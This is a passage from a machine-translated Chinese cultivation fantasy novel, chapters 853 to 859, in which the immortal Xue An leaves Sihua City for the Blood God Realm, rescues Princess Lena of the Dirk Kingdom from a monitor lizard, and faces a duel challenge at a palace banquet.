    "And the dozens of buckets of ice cream I put in it were all eaten by them!"


    Xue An scratched his scalp, "If you eat it all, then buy it again!"


    An Yan glared at Xue An with anger, "Is it a question of whether to buy? That''s dozens of buckets of large ice cream! Your two daughters actually ate them all! They are girls! They are so good to eat , What should I do if I become a little fat man?"


    An Yan is heartbroken.


    Xue An is stubborn.


    "Uh... I think, my daughter will definitely not become a little fat man, isn''t everything there is me!"


    "Humph! You will spoil them like this!" An Yan still remained angry.


    Xue An secretly looked at the two little girls, then squeezed his eyes and made a victory sign.


    The two little girls snorted when they saw it, and the faces that had become tabby cats were full of smiles.


    "Dare to laugh?" An Yan said angrily.


    "It''s Dad!" Xue Nian pointed to Xue An.


    "Yes, Dad made us laugh! It was more than a victory sign!" Xue Xiang sold Xue An without hesitation.


    The smile on Xue An��s face freezes An Yan pointed at Xue An, "You, and the two of you, all three of you will stand in the corner for me!"


    One big, two small, three people stood obediently in the corner.


    Then Xue Nian said quietly: "Dad, are you afraid of mother too?"


    "Not afraid! It''s respect!" Xue An said lightly.


    "Cut, Dad, you are obviously afraid!" Xue Xiang unceremoniously exposed Xue An''s cover.


    "Ahem! Stop talking and stand still!" Xue An said embarrassingly.


    After a while, Xue Xiang sighed quietly, "The three of us surnamed Xue, but we can''t beat our mother alone!"


    "Dad, you Immortal Venerable, really...weak!"


    Xue An''s eyelids jumped, "No way, Xianzun is also afraid of tigress!"

 Chapter 854： Its all about

    Xue An used the sky-reaching means to change the sky and the earth, and the news that the Eastern Region Continent was turned into a hole of heaven and blessed land was like a giant nuclear bomb, which instantly caused a sensation in the whole unity.


    The practitioners from all sides were shocked upon hearing this.


    "The Eastern Region is already a blessed place. If we can''t enter it, at most a hundred years, our sect will be left far behind by other colleagues!" The senior elders of a large family of families said solemnly.


    "Then what shall we do?"


    "Now, the only way for us to save ourselves is to try our best to enter the Eastern Region!"


    Everyone nodded.


    And such a scene is also being staged in turns among major sects.


    Suddenly, countless sect families, casual cultivators, and even some non-human cultivators rushed to the Eastern Region.


    When they really set foot on the land of the Eastern Region, their hearts were all terrified.


    Because the situation here is stronger than the rumors.


    However, in just a few days, because of the skyrocketing spiritual energy, even the small woods on the roadside began to nurture the magical medicine.


    And all kinds of spirit beasts began to appear.


    If this takes time, what will it be like?


    Therefore, when these people arrived at Sihua City, they no longer had the slightest arrogance, and they all wanted to enter the Eastern Region at all costs.


    It would be even better if you could get along with Xue An or the senior management of Sihua City!


    But when I got here, these people couldn''t help being a little dumbfounded.


    Because the Sihua City at this moment is already very lively.


    Almost the entire reunified cultivator sect rushed over.


    No one will make any concessions on this kind of thing.


    Suddenly, these sects who came here began to fight against each other, just to get in touch with the people in Sihua City.


    Therefore, the people in Sihua City have also risen, and even an ordinary disciple will attract countless sects'' pursuit if they go out.


    But shortly afterwards, City Lord Fu Xinyan began to resolutely remediate the interior of Sihua City.


    The aristocratic daughters who were still complaining after entering the city were naturally the first to be cleaned up.


    But now even a fool can see that Sihua City will soar into the sky in the future.


    Under such circumstances, being swept out of the house, the feelings of these aristocratic daughters can be imagined.


    At least many people knelt in front of the city gate and cried loudly after being driven out.


    Including the sect family behind them all rushed over, trying to make things easier.


    But Fu Xinyan didn''t even see these people.


    Xue An understood to her.


    This Sihua City now has the best resources, but if you want to become a real fairy sect, you must first strictly manage the internals.


    Otherwise, a single rat **** can ruin a pot of porridge.


    Inspired by Xue An, Fu Xinyan ignored any plea, those with mediocre talents, jealous and capable people were swept out, replaced by young talents who were loyal to Sihua City at the same time.


    For a time, the entire Sihua City was completely renewed, showing vigorous vigor.


    At the same time, Xue An issued several decrees.


    The cultivator sects of other territories must first go through several assessments if they want to enter this middle-earth blessed land to practice.


    And this assessment will be held every three years.


    And those who perform well in the assessment will be eligible to enter the Sihua City to practice.


    These laws were promulgated.


    These sects who came here were all shaken by it.


    Many wise people were shocked.


    Because Xue An''s hand is extremely beautiful, which is equivalent to stifling the throats of all sects who want to enter the Eastern Region.


    And the talents who have been screened at various levels will continuously replenish fresh blood for Sihua City.


    Under this situation, Sihua City will become increasingly tyrannical.


    Many people are naturally dissatisfied with such a law.


    But now, they can only look sadly, unable to make any resistance.


    After all, today''s Sihua City is qualified to do so.


    As for the local practitioners of the Eastern Regions, they were not happy too early.


    Xue An soon came out the decree.


    All sects will hold rounds every ten years, and then the ten last sects will be cleared from the Eastern Region.


    As a result, these sects all felt a deep pressure.


    Just when Xue An issued the decree drastically.


    There was news from Zhongyu that the He Wenbin had just returned to Wansheng Hall, and before he had a meal, he was attacked by a group of elders under him and beheaded on the spot.


    This news caused a commotion among many people, and at the same time they dared not to have the slightest contempt and defiance towards Xue An.


    The brave and intrepid are like a sharp sword in the hands of ordinary people, seemingly sharp and unmatched, but not much powerful.


    The brave and unparalleled man who at the same time tried to pass others is the magic weapon in the hands of the peerless swordsman, which is daunting.


    One month later.


    The whole Guiyi gradually calmed down.


    But the situation at this time is already different.


    The Eastern Region has become Guiyi''s No. 1 hole in the sky.


    Countless sects dream of wanting to enter here to practice.


    At the same time, under various decrees, all the sects tried hard to beat each other.


    In this case, the status of Sihua City became more and more detached.


    And Xue An took advantage of this time to pass on several Shenjue techniques to Fu Xinyan and others.


    Under Xue An''s careful guidance, the cultivation base of these people has advanced by leaps and bounds.


    Finally, everything is almost done.


    Xue An personally came to the main hall of Sihua City on this day.


    In this hall, the spiritual position of Lu Yiyue is enshrined.


    Xue An twisted the three incense roots, then looked up at this spiritual position.


    After a long time, Xue An sighed softly.


    "Senior, I have wiped out the Sejong Gate who was hurting you badly at the beginning, and in accordance with your instructions, I will turn this Sihua City into a blessed land! You can rest assured!"


    After speaking, Xue An bowed his hand and turned to leave.


    Waited out of the hall.


    Fu Xinyan and Su Xiaomu were waiting at the door.


    After seeing him, they all knelt down.


    "My lord! Are you leaving?"


    Xue An nodded slightly.


    The two trembled, Su Xiaomu choked and said, "Brother Xue An, are you coming back then?"


    "Of course come back!" Xue An smiled, then waved his hand, "Get up! I''ll leave this city of thought to you! But remember, you must not be arrogant and complacent! Otherwise...do not forgive you!"


    Fu Xinyan and the others were awe-inspiring, "Yes! Your lord, please rest assured! I will absolutely follow your instructions, not to cause trouble, but not to be afraid of trouble!"


    Xue An nodded.


    The reason why he exhorted such a sentence was because he had seen too many instances of the Dragon Slayer turning into an evil dragon.


    In the face of power and power, few people can not lose their heart.


    I hope that Fu Xinyan can do what he says. U U Reading


    Xue An returned to the back house after handling all this.


    An Yan asked, "Husband, are we going to shuttle the stars again?"


    Xue An smiled, "No, and I have already retrieved the star boat outside Guiyi Star!"


    "Then how are we going?"


    Xue An spread out his palms, his hands were a ball of red light.


    "This is the **** abyss used by Blood Net Mountain to punish prisoners, and through this, we can directly enter the Blood God Realm!"


    After all, Xue An asked An Yan and his two daughters to enter the Fubao Xiaolou for a while.


    And he poke his hand suddenly.


    This blood abyss suddenly turned into a huge **** portal.


    Xue An stepped into it and disappeared into this reunited star.

 Chapter 855： The first blood

    When Xue An crossed the space-time channel and walked out from the other side.


    A strong smell of decay of vegetation mixed with water vapor from the scorching sun, the combination of the two, fermented a disgusting smell, which went straight to the nostrils.


    Xue An stood in the air and looked around. The surrounding sky and earth were all obscured by fog, and the four fields were silent.


    At the foot, there is a swamp filled with colorful blisters.


    Occasionally, blisters will explode lonely, adding a few monotonous and boring background sounds to this quiet world.


    Xue An frowned slightly.


    Because he found that in this swamp, his spiritual thoughts were greatly restricted, and could only cover a mere hundreds of miles.


    But under this divine mind, he could still perceive many fierce hunters lurking in the swamp below his feet.


    For example, now, there is a swamp giant crocodile that is nearly ten meters long suddenly jumped out of the grass, and jumped up to Xue An in the air.


    This giant crocodile not only moved dexterously, but the skin all over its body was shining with cold light. When it was in the air, it opened its mouth and exhaled a **** breath.


    This black air exudes a tangy smell, and wherever it passes, even the air is corroded, which is obviously extremely poisonous.


    Xue An''s eyes were cold, what a fierce giant crocodile.


    Although he has traveled through and hasn''t used his cultivation base yet, with his aura, it is not something ordinary monsters dare to easily provoke.


    This giant crocodile dared to take the initiative to attack, it was so fierce.


    But that''s it.


    A sword light passed by, and the rushing giant crocodile was split in half from the middle of the nose.


    As for the black air, even the corners of Xue An''s clothes were not contaminated.


    The corpse of the giant crocodile fell into the swamp.


    Almost instantly, the originally calm marshland began to surge wildly.


    Hundreds of giant crocodiles swarmed in to tear up the dead crocodile''s carcass.


    Then there were many giant crocodiles who were still unfinished, staring at Xue An with blood-red eyes.


    Xue An snorted coldly, showing a trace of momentum.


    boom.


    As if a cannonball fell, the swamp under Xue An suddenly sank, and then dozens of giant crocodile bodies floated.


    The remaining giant crocodiles turned their heads in fright and fled without a trace.


    Xue An did not chase, but chose a direction and flew forward.


    It was not until this time that Xue An discovered that the mist in this swamp was highly toxic.


    of course.


    These poisonous gases have no effect on Xue An.


    But if you change to someone else, it is estimated that you will not be able to hold it for a quarter of an hour.


    A moment''s sight.


    Xue An has already traversed thousands of kilometers, but as far as he can reach, it is still an endless swamp.


    Even the scenery did not change much, the only difference was that the giant crocodiles in the swamp below gradually decreased, and a larger monitor lizard began to appear.


    Xue An frowned slightly.


    This Blood God Realm seemed a little weird.


    At this moment, Xue An suddenly felt a strange wave in the distance.


    Xue An was startled slightly.


    It''s fighting!


    And from the sense of breath, it seems that one party should still be Human.


    Thinking in his heart, Xue An''s people had already rushed over.


    now.


    On the edge of this swamp.


    A small team is engaged in a fierce battle with a monitor lizard.


    I saw a few scars on this monitor lizard.


    But for a man like it, these injuries are not fatal, but arouse its ferocity.


    Therefore, when a man holding a giant sword rushed up again, the monitor lizard opened its mouth violently and sprayed a cloud of dark flames.


    The viciousness of the flames, the man only screamed when he was infected a little bit, and then his whole body quickly withered and turned into a ball of coke.


    "Ayton!"


    A young girl screamed, and then roared at the monitor lizard: "You **** beast, I, Lena, must make you a barbecue today to avenge Ayton!"


    With that said, this girl in a long robe danced with no wind in her hair, her eyes flickered with silver light, and then her hands suddenly pushed forward.


    Two flashes of lightning flashed out of her hands and went straight to the monitor lizard.


    Seeing this, other people in the team gathered in front of the girl.


    Protect the warlocks in the team at all times. This is the first rule on the battlefield.


    But the two thunder rays that tried their best to the girl did not even break through the monitor lizard''s leather armor, but instead aroused its ferocity.


    I saw this monitor lizard roar, and rushed towards the team.


    This monitor lizard was 20 to 30 meters long and weighed tens of tons. This sprint made the earth tremble.


    The squad members were all eclipsed.


    The girl was even more pale, but at this time she had no time to perform other spells.


    Several men holding daggers looked at each other, and sneaked off together, trying to stop the behemoth that rushed over.


    Seeing this, Lena exclaimed, "Don''t go, you are not the opponent of this brute!"


    It may be too late.


    These thieves had already rushed to the front, then escaped one by one and disappeared in place.


    When they reappear, they have already come to the side of the monitor lizard, and then these thieves raised their swords and stabbed them.


    But they still miscalculated the power of this monitor lizard.


    The Rogue Blade in their hands barely cut the monitor lizard''s leather armor, but this injury is not even a tickle to the monitor lizard.


    As for the toxin tempered on the Rogue''s Blade, it is even more a joke for the swamp creatures known for their toxicity.


    Therefore, the monitor lizard just flicked its tail impatiently, dispelled the thieves, and continued to rush forward.


    The members of the team have all shown despair.


    When facing this gluttonous monitor lizard, if you turn your head and run away, you will die faster.


    After all, no one can run a monitor lizard in this poisonous swamp.


    But just when these people think that they are bound to die.


    A figure suddenly appeared in front of them.


    At the same time, the monitor lizard has also rushed to the front.


    Xue An slowly stretched out his hand and pressed forward.


    "No!" Lena exclaimed when she saw this.


    Although she didn''t know who this man was, it could be seen that he actually dared to do this, it was just like looking for death.


    But by this time it was too late.


    The monitor lizard has rushed to the front.


    Lena couldn''t bear to close her eyes, thinking that this man was bound to die.


    But at this moment, I heard a muffled sound.


    The monitor lizard rushing at high speed was similar to hitting a mountain, and Xue An didn''t even shake his figure.


    But this monitor lizard stopped alive.


    Then, starting from its head, its entire body was torn apart due to strong inertia.


    The monitor lizard let out a miserable cry.


    This made everyone in the team look stupid.


    Especially Lena, she suddenly opened her eyes, she didn''t expect this man to be able to fight this gluttonous monitor lizard with flesh and blood.


    at the same time.


    Xue An frowned slightly, "What''s your name, don''t you know if you have bad breath?"


    After all, Xue Anxin pushed his hand down.


    The head of the monitor lizard was pushed onto the ground by Xue An, and its strength directly squeezed the head of the monitor lizard.


    The fishy smell of brain plasma mixed with the foul smell of monitor lizard''s blood makes the nose sour.


    But everyone in this team had forgotten to cover their noses, and they all looked at Xue An with dull eyes.


    Squeezing the monitor lizard''s head with one hand, is this... still a human?

 Chapter 856： Dirk Kingdom

    Just when these people were full of consternation.


    Xue An turned his head and took a look at this team.


    These men all wear armor similar to those of European medieval warriors.


    The girl who was surrounded was wearing a scarlet robe, and there was a strange wave flashing on her body.


    It looks a lot like a team of adventurers in the game.


    And when Xue An was looking at them.


    Lina is also looking at Xue An.


    She discovered that the man was young, with black eyes and black hair, handsome in appearance, and dressed in decently tailored and extremely neat clothes.


    It looked like going to a banquet, and it was in sharp contrast with the muddy poisonous fog swamp.


    And judging from the direction the man rushed over just now, he seemed to be coming from the depths of the swamp?


    Lena thought to herself, with a respectful look on her face, and then took a few steps forward, put her hands on her shoulders, gently bent over, and gave Xue An the highest courtesy of a warlock.


    "Mighty samurai, thank you for your rescue just now!"


    Xue An''s eyes flashed slightly, and he quickly learned the language of the world from this brief sentence, and then gently nodded.


    "It happened to be passing by, no thanks! Why are you here?"


    "My name is Lena, from the nearby Dirk Kingdom. As for why I came here..."


    A bitter smile appeared on Lena''s face, "Because I want to kill a monitor lizard to complete my coming-of-age ceremony!"


    Dirk Kingdom.


    It seems that this place is very similar to medieval Europe.


    Xue An is thinking.


    This Lena glanced at Xue An quietly, and then whispered: "Exalted samurai, what is your name? Where do you come from?"


    Xue An said calmly: "My name is Xue An, I came from the depths of the swamp!"


    Hearing Xue An''s words, the team made a slight commotion.


    We must know that this poisonous fog swamp covers a very wide area, in addition to the ubiquitous miasma, there are countless ferocious poisonous beasts, which can be described as dangerous.


    So few people can go deep into this swamp and retreat all over.


    The elite adventurers of their kingdoms all only dared to wander on the edge of the swamp.


    Just then, he was almost wiped out by a gluttonous monitor lizard.


    And this man actually said that he came from the depths of the swamp, which sounded a bit weird.


    Especially looking at his clothes, it doesn''t seem to be real.


    All these people have some doubts in their hearts.


    But Lena shuddered in her heart, her tone becoming more respectful.


    "Mr. Xue, in order to thank you for saving me, if you don''t dislike it, please follow me back to Dirk Kingdom. My father will definitely thank you!"


    "Father?" Xue An said lightly.


    Lena smiled slightly, "I didn''t introduce to you just now, I am the princess of Dirk Kingdom!"


    Xue An thought a little after hearing the words.


    Now the world is full of weirdness.


    Because under Xue An''s divine consciousness perception, there was no blood family existence.


    It''s better to follow this woman to the Dirk Kingdom to take a look.


    Thinking of this, Xue An nodded, "Alright!"


    Lina was overjoyed and immediately turned and ordered these teammates, who were actually guards, to take away the swordsman''s body who had just died under the monitor lizard flame.


    Then a guard stepped forward and cut off a sharp claw on the corpse of the monitor lizard.


    This can be used as Lena''s coming-of-age gift.


    As Lena said.


    This Dirk Kingdom is not far from here.


    After these people got on a few wildebeests, they came to the capital of the kingdom without a glimpse of sunlight.


    "Mr. Xue, this is the capital of our Dirk Kingdom!" Lena introduced with pride.


    Xue An looked at this simple city that stood between the valleys and was no more than ten miles in radius, and the walls were all built with stones, and suddenly wanted to laugh.


    Is such a small town still the capital of a kingdom?


    But this is not surprising.


    If this Dirk Kingdom is really powerful, how could Lena travel all the way to the poisonous mist swamp, but even a monitor lizard could not defeat it.


    Waiting to enter this capital city.


    There are low houses on both sides of the street, and the roads are muddy. After a wildebeest stepped on, there is still dirty rain in the mud, and the air is full of unpleasant smell.


    Looking at Lena''s joyful and proud appearance, obviously she didn''t think there was anything wrong with this city.


    In fact, in this world, under such productive conditions, the ability to have such a medium-sized capital city has proved that the Dirk Kingdom is pretty good.


    The capital of some kingdoms even has only one village.


    When Lena��s carriage walked on the streets of the capital, the residents on the roadside respectfully stepped aside and stroked their **** toward the convoy.


    It can be seen that Lena''s prestige among the people is pretty good.


    After crossing another street in this way, the carriage turned around and walked onto a road paved with bluestone.


    The houses and decorations here are much better than just before.


    In the distance, a steeple castle began to show its shape.


    "Mr. Xue, that is the palace where my father lives! He should be in the palace at this time. I have just sent someone to deliver the letter. Someone should come to meet him soon!"


    Just as he was talking, he saw a silver unicorn galloping, and he yanked the reins in front of the team. The unicorn was sideways and stopped in front of the team.


    These wildebeests pulling carts were frightened, and their front hoofs that were almost out of control stood up.


    Fortunately, the coachman who drove the car was very skilled, so he could barely control it.


    When Lena saw this silver unicorn, her face instantly became ugly.


    "Yag! What do you mean?"


    Then I heard a lazy and arrogant voice from the silver unicorn.


    "I''m sorry, your Royal Highness, this one-horned horse of mine just got a little bit happy I hope it didn''t scare you! I heard that your bar mitzvah gift is ready, and I brought back a powerful Samurai?"


    Sitting on the unicorn horse, a young man wearing silver armor with an evil face said lightly.


    When talking about the words "powerful samurai", the tone became a little more serious, full of mockery.


    Lena took a deep breath, "Yes, this is Mr. Xue who rescued me! Is my father in the palace?"


    "Your Majesty the King just went to the palace on the border yesterday, and he hasn''t come back yet!" Yager said casually, but his eyes were always on Xue An''s body.


    When he saw Xue An''s handsome face, but only a teenager at most, his face grew gloomy.


    "A samurai from the depths of the swamp? Haha, it''s so funny. Even Master Martial Sage dare not go deep alone in the Poisonous Mist Swamp, what are you?"


    "Furthermore... Within this area of ??a thousand miles, there are only a handful of strong people, and I still know all of them. So the question is, which Martial Saint''s descendant are you?"

 Chapter 857： Wu Sheng? Its not worthy to lift me shoes!

    Lena''s eyebrows were upside down, "Yage, don''t be too arrogant, this is my friend!"


    Yage sneered when he heard the words, and said gloomily: "His Royal Highness, I am also doing this for your good. Otherwise, if you are used by someone with ulterior motives, then you will regret it too late!"


    Lena paled with anger, and was about to reprimand.


    Xue An waved her hand and motioned her not to speak.


    Then he smiled faintly at Yage on the opposite side, "Wu Sheng? No, I am not Wu Sheng, nor any disciple of Wu Sheng!"


    Yager sneered again and again, "Have you finally told the truth? You..."


    Xue An interrupted Yage''s words and said lightly: "But I think the so-called Martial Saint in your mouth is not worthy even to lift me shoes!"


    This sentence is out.


    The audience was shocked.


    Even Lena, who respected Xue An very much, and her guards looked at Xue An with sorrow.


    In this land, Wu Sheng represents the limit of human power. It is an existence that many people admire. No one has ever dared to disrespect him.


    Today this man actually kept saying that Wu Sheng didn''t even deserve to carry shoes for him.


    This is a bit... too arrogant.


    As for Yage, after hearing this, he was taken aback for a moment, and then angrily turned back and laughed, "It looks young, but his tone is really not small. If you believe it or not, if this sentence is spread out, just come here with a Master Wusheng. , Can I tear you up alive?"


    Xue An said indifferently: "Okay, I really want to see how your martial sage is?"


    Yager was completely irritated by Xue An''s attitude and was about to attack.


    From the end of the street, a large and luxurious horse-drawn carriage drove over. When it got closer, the horse-drawn carriage came to a halt, and the curtain of the rear car was raised, revealing a woman with an enchanting body and a beautiful face inside.


    As soon as he saw this woman, Yager''s expression became very respectful. He turned over from a single horn and bowed his hands to salute: "I have seen her Royal Highness!"


    Although Lena''s expression was a little weird, she still bowed her body and said, "I have seen sister!"


    That''s right.


    It was the eldest princess of Dirk Kingdom who came here, that is, Lina''s sister, Roja.


    The eldest princess smiled without saying a word, "Lina, I heard that your coming-of-age gift is ready?"


    Lena nodded, "Yes!"


    "It''s really surprising! I didn''t expect you to complete this seemingly impossible challenge!"


    Luo Ya said, but her eyes flashed to Xue An who was aside.


    "Is this the strong warrior you mentioned?"


    Lena nodded.


    Luo Ya looked around for a few times and found that Xue An was flat and thin, and looked like a handsome young man. He did not have the aura that those powerful warriors should have, and a touch of indifference and disdain flashed in his eyes.


    And Nayake sneered at this time: "His Royal Highness, this warrior is extremely powerful, and even Master Wu Sheng doesn''t take it seriously, and he said that Wu Sheng is not worthy of shoes for him!"


    Xue An smiled, "Although the words are not good, but the facts are true!"


    These words made Luo Ya even more disapproving of Xue An.


    And Yake became angry about it, then became angry, thinking about it.


    Luo Ya said indifferently: "Well, since this samurai is so confident, when Father Father and Lord Martial Sage Lizun of Dirk come back, everything will be clear!"


    Ake and Lena were slightly startled.


    "Father is coming back?" Lena asked.


    Luo Ya nodded, "The news that has just come back will return tonight, and there will be a grand dinner party to entertain a very distinguished guest!"


    Distinguished guest?


    Lena was puzzled.


    Nayake seemed to understand something at this time, and there was no more irritation on his face. He just glanced at Xue An coldly, and looked like he was looking at a dead person.


    At this time, Luo Ya said: "What''s the matter, wait until tonight''s dinner party! Jake, come with me!"


    "Yes!" the Yake lowered his head and said, then he got on the horned horse and followed Luo Ya''s carriage.


    Wait until the two men disappeared behind the gate of the palace.


    Lena said solemnly: "Mr. Xue, please don''t be angry. This Yake has always been so domineering, and my sister is even more powerful and unscrupulous! As for this matter, I will wait for my father to return. I''ll explain it to him! And you don''t have to attend tonight''s dinner!"


    "Why didn''t you participate?" Xue An smiled faintly.


    "Huh?" Lena thought she had heard it wrong.


    Xue An said: "I just want to see how powerful this so-called Martial Saint Lizun is!"


    "But..." Lena wanted to say something else.


    Xue An waved his hand, "Okay, needless to say, I have my own measures!"


    Hearing what Xue An said, Lena had no choice but to close her mouth, but there was a touch of worry in her eyes.


    Because she had personally seen the strength of Lizun, the martial sage of Dirk Kingdom.


    It has simply surpassed the limit of strength, and it is an invincible existence.


    And although this mysterious man who came out of the depths of the swamp was strong, he was too young after all, could he be the opponent of Li Zun adults?


    This Lena felt a little uneasy.


    And in the palace.


    Luo Ya said with a solemn expression: "Tonight''s dinner must be set up properly, there must be no slight difference!"


    Yake nodded: "Please don''t worry, princess, I will do it myself! It''s just..."


    He said with some doubts: "Who is this visitor? There is such a big battle that even his Majesty the King will personally go to the border to greet him? Could it be that the king of the neighboring Yan Kingdom visited?"


    This Luo Ya smiled disapprovingly, "King of Yan Kingdom? With his little identity, how can he compare with this guest! In the eyes of others, our so-called kingdoms are completely a joke! Even we have control The abilities of these people are all bestowed by them!"


    Hearing these words, Yake was shocked, "Could it be..."


    Luo Ya nodded, and then made a silent gesture, "Just know, don''t say anything!"


    Yake''s expression changed, and layers of joy appeared in his eyes, and then he calmly said: "Yes! Subordinates understand!"


    This Loya licked her lips greedily Father said that, whether it is me or Lena, as long as he can get the appreciation of the guests at this dinner, he will have a great reward! "


    "What''s more... I heard that after becoming a slave to these big people, I will stay young and enjoy endless life!"


    "So for this dinner, I will definitely go all out, because the immortal person can only be me! As for Lena... that foolish fool, only worthy of being deceived by a bun who doesn''t know where it is. Go round and round!"


    Luo Ya became more excited as she talked, flushing on her face.


    But Yake didn''t even dare to lift his head, so he could only listen.


    At this time, Luo Ya leaned on the soft collapse somewhat wearily, and then said to Yake lazily.


    "Come here, thump my leg first! You will set up the dinner later!"


    Yake smiled and hurriedly responded, "Yes!"


    Then he stepped forward and lowered the soft curtain.

 Chapter 858： Duel? Immortal

    at dusk.


    The entire palace was brightly lit, and countless maids arranged the spotlessly clean tableware neatly.


    In the parking lot in front of the palace, the carriages of the rich and powerful in the city were parked early.


    These well-dressed men and women chatted in groups, talking about the dinner tonight.


    "I heard that His Majesty and Lord Lizun went to the border this time to welcome an important guest."


    "I also heard about this news, but I don''t know what kind of backers the guest can make His Majesty the King and Zhen Guo Wu Sheng so inspiring?"


    "Could it be the king of the other country you are visiting?"


    "I don''t think so! Even the noble king, it is impossible to make our majesty so nervous!"


    "Well, we can''t guess one, two or three for a long time. It''s better to wait for your Majesty to come back for a while, then the answer will naturally be clear."


    "Yes!"


    Everyone nodded.


    Then someone smiled and said: "But there is one rare thing today, I don''t know if you have heard of it! Our Princess Lena killed a gluttonous monitor lizard in the Poison Mist Swamp and completed her coming-of-age ceremony!"


    Many people who are not so informed are all startled when they hear it.


    "I haven''t heard of it yet, but we, Princess Lena, can become a warlock in charge of mysterious powers at a young age. It is not too surprising to complete this coming-of-age gift!"


    "This is the second thing. The key is that our Princess Lena has picked up a powerful warrior from the poisonous mist swamp!" The middle-aged man in a tuxedo with a meticulous greasy head said sarcastically. Said.


    "Bring back a powerful samurai?" Everyone around was a little surprised.


    "Yes! I heard that when he first came back, this so-called powerful warrior ran into Lord Agge, and then he uttered a lot of words in front of Lord Agge, saying that Martial Saint is unworthy to even give him shoes!"


    This sentence is out.


    All the people around were stunned, and then laughed.


    "What a big tone!"


    "Yes, this can only be said by those who have never seen the world before!"


    "Speaking like this in front of Martial Saint Lizun''s lover Yage-sama, you really want to die!"


    "What''s going on behind?" someone asked.


    The well-dressed middle-aged nobleman sneered and said, "If the eldest princess hadn''t arrived in time, I guess Master Yage would teach this so-called strong warrior to be a man!"


    Everyone nodded, and someone couldn''t help but sigh.


    "Our Princess Lena is good at everything, but sometimes it is too simple! It must be fooled by some people with ulterior motives!"


    "Yes! Compared with Her Royal Highness Long Princess, our princess Lena is still too immature!"


    When everyone was sighing.


    Lena, who had changed into an evening dress, appeared in the banquet hall.


    Her appearance immediately caused a slight commotion in the field.


    The young men all showed a trace of excitement, and then they stepped forward to kiss their hands.


    But today''s Lena declined this meeting etiquette, and then turned sideways slightly, as if waiting for someone to appear.


    All the nobles couldn''t help but converge their sights.


    quickly.


    Seeing that the soft curtain was picked, a handsome young man with black pupils and black hair, dressed in very strange clothes, stepped in.


    The appearance of this young man surprised everyone in the audience.


    In this capital city, there are only two or three hundred people who can enter this banquet hall, so they are very familiar with each other.


    But the young man''s face is very strange.


    At this time, the person who reacted more quickly was shocked, and he probably guessed Xue An''s identity, and then began to talk quietly.


    "This should be the strong warrior that Princess Lena brought back from outside!"


    "Can''t be wrong! It should be him!"


    "Tsk tusk, looks really good, but it''s a pity that looking at that momentum and body, how can it be a powerful warrior!" Someone shook his head with disdain.


    "Haha, don''t you see? Our Princess Lena has already completed the coming-of-age ceremony. It was when the girl was pregnant, and this young man was very good. Maybe it was the little lover I met from outside!" Someone looked like Said narrowly.


    There was a lot of discussion all at once, and everything was said.


    But no one thought Xue Anhui was a strong warrior.


    Lina whispered to Xue An apologetically, "I''m sorry, Mr. Xue, these people are like this, don''t take it to your heart!"


    Xue An smiled faintly.


    Of course he would not take the discussion of these people seriously.


    In fact, in Xue An''s opinion, the so-called aristocracy is a complete joke.


    It''s nothing more than relying on power and status to dominate the blessing, a bunch of waste of the corpse site vegetarian meal.


    Not to mention these people, those ancient families in the depths of the starry sky that have been passed down for thousands of years, or families with ancient blood inheritance, Xue An has never seen it.


    In his opinion, what **** nobleman, can hold my punch first.


    However, the "whispering" between Lena and Xue An further confirmed the speculation of these boring nobles.


    Many people began to point to Xue An.


    And those nobles and young masters who have been enamored with Lena for a long time are all pale.


    For these self-reliant noble masters, Princess Lena is a noble rose.


    But this flower can only belong to one of them, rather than being tricked away by an unknown guy.


    So soon, a blond young man came forward, first gave Lena an elegant and deep salute, and then said in their unique aristocratic accent.


    "Your Royal Highness, first of all congratulations to you for completing your coming-of-age ceremony, but what I want to say is that this man must have another plan when approaching you. Please do not be deceived by him!"


    After seeing the blond man, Lena''s face was dark, "Thank you for the reminder of Baron Bees, but this Mr. Xue is my most honored friend, I don''t allow you to slander him like this!"


    "But your Royal HighnessI am doing this for your good..."


    "No need!"


    The Baron Bees was speechless, and his eyelids began to beat frantically.


    In his opinion, the reason why Princess Lena, who has always been known for her gentleness, became like this was all because of Xue An.


    Therefore, under this shame, he suddenly took off the white glove on his left hand and threw it in front of Xue An.


    "Man, I want to fight you!"


    This moment also attracted everyone''s attention.


    Many people''s complexions changed slightly after seeing the white gloves thrown on the ground.


    Because in this Dirk Kingdom, throwing the left glove in front of the opponent is a great humiliation.


    Once this is done, it means there will be an endless duel.

 Chapter 859： I can do whatever you want

    At the same time, many people began to talk quietly.


    "This Baron Bees looks confident!"


    "Of course, haven''t you heard of it? This Baron Bees has recently come under Lord Agger''s sect. I heard that both swordsmanship and boxing have made great progress."


    "This young man is probably going to be unlucky now! It depends on whether he dares to meet this challenge!"


    "Hehe, if he doesn''t dare to fight, then he won''t be qualified to stay in this banquet hall anymore!"


    Everyone was talking.


    Xue An looked at the opposite Bies, and then smiled.


    "You... want to fight me?"


    "That''s right, and it''s the kind of endless death!" Bis said with a gloomy expression.


    Xue An smiled without saying a word.


    This reaction caused many people to misunderstand, thinking that Xue An was scared.


    This Bis was even more proud, and said faintly: "Of course, if you are afraid, you can give in now, but the premise is that you immediately leave Princess Lena and get out of Dirk Kingdom!"


    "No, no, no, I think you have misunderstood!" Xue An''s voice was with an uncontrollable smile, "I just wanted to laugh suddenly!"


    "And since you want to fight with me, then I will play with you!"


    Bis''s eyes grew colder, "Very well, but you are willing to do it. You will be injured or dead by then, don''t blame me for being cruel!"


    Xue An smiled more and more, but he nodded, "Of course, if I lose, I don''t need to say, I will strangle myself first, how about?"


    There was a commotion in the audience.


    Lena was a little nervous, "Mr. Xue..."


    Xue An waved his hand and said lightly: "Don''t worry, I have a sense of measure!"


    But Biss snorted coldly at this time, "Fucking mystery! In order to convince you, I will let you choose this time, do you want to compare swordsmanship with me or boxing skills?"


    Xue An smiled so that his eyes were bent, "Anything!"


    "Huh? What do you mean? I tell you, this is a duel, and the loser will pay the price of life, so I hope you take it seriously and understand?" Biss couldn''t restrain the anger in his heart and shouted in a deep voice.


    Xue An laughed so much that he could see the posterior molars this time, "I was serious! I really do, you can pick whatever you want, you can use whichever you think is easy! Or you can use fist swordsmanship together!"


    This remark completely angered the Baron Bees.


    You must know that he is different from ordinary noble young masters.


    He was born in the army, and he really fought on the battlefield, and then he went to Yage''s door to practice swordsmanship and boxing.


    Now his strength is not to mention second to none among the young aristocrats in this capital, but also one of the best.


    That''s why he was so confident to fight Xue An.


    But I didn''t expect Xue An to have a hippy smile from beginning to end, as if he didn''t take this seriously.


    This naturally made him angry.


    "This is your own death. You can''t blame anyone else!" Biss gritted his teeth.


    Then he drew the saber directly from his waist.


    This saber was a sharp blade that had followed him for many years. As soon as it was out of its sheath, layers of murderous aura enveloped the entire banquet hall.
